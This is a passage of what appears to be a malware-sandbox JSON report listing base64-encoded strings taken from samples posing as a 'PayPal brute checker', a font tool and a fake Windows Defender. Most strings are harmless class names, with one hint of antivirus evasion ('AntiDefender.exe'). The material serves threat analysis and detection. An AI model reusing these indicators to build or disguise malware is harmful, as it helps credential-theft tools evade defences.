File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlc29sdmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJ1bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRhc2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVV0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW5kZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkcmVzc0ZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRvYmUgUXVpa0luc3RhbGw=","type":"Ansi","source":"Dropped File","process":null,"filename":"regedit.exe.3528140644","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWVzQ3J5cHRvU2VydmljZVByb3ZpZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1NwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QUxMQUREUkVTUw==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb3djb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxwaGFTa2lucyBFZGl0b3I=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"$7f","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+ZmFsc2U8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+WCc8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWx0ZXJuYXRlQ29kZVBhZ2U=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwgKHg4NikubG5r","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YW4gYXJndW1lbnQgaXMgbm90IGFsbG93ZWQgZm9yICgqQUNDRVBUKSwgKCpGQUlMKSwgb3IgKCpDT01NSVQp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YW5kIF9fY2RlY2wgY2FsbGluZyBjb252ZW50aW9ucy4gIFRoZSBfX3N0ZGNhbGwgKFdJTkFQSSkgY29udmVudGlvbiBpcyB1c2VkIGJ5IGRlZmF1bHQgYnV0IF9fY2RlY2wgY2FuIGJlIHVzZWQgaW5zdGVhZC4gIFNlZSB0aGUgRA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbkVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbkZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW50aURlZmVuZGVyLmV4ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1hcHBtb2RlbC1ydW50aW1lLWwxLTEtMQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kIENvbXBsZXRpb24=","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kaW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb25WZXJzaW9uTWF0Y2g=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHljb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbHlQYXJhbWV0ZXJJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnQgaXMgbm90IGEgY29tcGlsZWQgcmVndWxhciBleHByZXNzaW9u","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnQgbm90IGNvbXBpbGVkIGluIDE2IGJpdCBtb2Rl","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVJUTUVOVUNPTU1PTkRJUg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHkgVmVyc2lvbg==","type":"Unicode","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb21wYW55QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXJ0IEZhaWxlZCE=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29uZmlndXJhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW5zdGFuY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTW9kZWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RhdHVz","type":"Ansi","source":"Dropped 